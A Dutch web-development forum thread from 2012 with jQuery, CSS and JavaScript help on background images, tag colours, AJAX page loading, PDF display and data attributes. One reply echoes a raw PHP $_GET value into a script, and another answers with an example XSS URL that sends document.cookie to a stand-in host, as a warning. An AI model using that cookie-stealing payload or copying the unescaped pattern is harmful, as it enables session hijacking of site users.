Al die jQuery componenten zijn al goed voor 108kb zie ik. Als er nog niets gecached is gaat er bijna 400kb doorheen. Gelukkig wijs je me er nu op, want volgens mij kan ik uit de bootstrap CSS ook een heleboel slopen.
[ Bericht 10% gewijzigd door pascal08 op 30-11-2012 00:08:06 ]
[ Bericht 100% gewijzigd door Deeltjesversneller op 30-11-2012 09:30:12 ]
Omdat totals een array is. Dus totals[0]==null.quote:
[ code verwijderd ]
waarom levert (totals == null) false op?
Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen?
zelf geprobeerd
| 1 2 3 | a [style*="color:#0000FF"] { color: green!important; } |
en allemaal varianten daarop.
Geloof er niks van.quote:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Het is al gelukt.quote:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
| 1 2 3 | a.username[style*="#0000FF"], a.tag[style*="#0000FF"] { color: #389ABE !important; } |
Met dank aan TwyLight.
beterquote:
[..]
Het is al gelukt.
[ code verwijderd ]
Met dank aan TwyLight.
zie DIG / Google Adsense & dergelijke - Sparen voor de kerstinkopen!quote:
Op 
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Wat heb je zelf tot nu toe?quote:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Als je op de button klikt roept ie de functie count(); aan.quote:
| 1 2 3 4 5 6 7 8 | <script type="text/javascript"> var img = 1; function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; } </script> |
| 1 | document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)"; |
Neuh, gewoon %4 en bij 0 beginnen.quote:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
quote:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
| 1 2 3 4 5 6 7 8 | <?php var img = 1; function count() { (img < 4) ? img = img++ : img = 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img"+img+".jpg)"; } ?> |
[ Bericht 1% gewijzigd door #ANONIEM op 04-12-2012 13:44:27 ]
Netter dan de mijne.quote:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
Ik heb het volgende bovenaan de pagina:
| 1 2 3 | <script type="text/javascript"> document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; </script> |
De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.
[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1
Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.
Als je nu naar mijn script kijkt:
| 1 2 3 4 5 6 7 8 9 | <script type="text/javascript"> var section = "S3"; var img = 1; function count() { img = img + 1; document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)"; if (img==4) img=0; } </script> |
Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?
Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?
[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
| 1 | var section = "<?= $_GET["section"] ?>"; |
Thanks!
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Ach, mensen klikken ook op dit soort pareltjes.quote:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Er sterft altijd een beetje van mezelf als ik zulke dingen ziequote:javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.
| 1 2 3 4 5 6 7 8 9 10 11 | $(document).ready(function(){ // index laden bij start $('#content').load('content/index.php'); // navigatie laden bij klikken $('ul#nav li a').click(function() { var page = $(this).attr('href'); $('#content').load('content/' + page + '.php'); return false; }); }); |
Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?
Ik hoop dat iemand wat tips heeft.
ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepastquote:
Even een flowtutorial lezen
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/quote:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.quote:
[..]
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Jammerquote:
[..]
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.
Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Ik heb de volgende HTML code
| 1 2 3 4 5 6 7 8 | <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32"> Test test Test test Test test Test test <div class="author">Henk de Tank</div> </div> <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31"> Doet ie het? <div class="author">Einzzzstein</div> </div> |
Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet
ik krijg undefined met de volgende code| 1 2 3 | $("div.note").dblclick(function(event) { alert($(event).data("id")); }) |
[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.
[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.quote:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
$(this) werkt sowieso wel mooi voor dit soort dingen.quote:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Thanksquote:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
en ook nog bedankt voor de uitleg.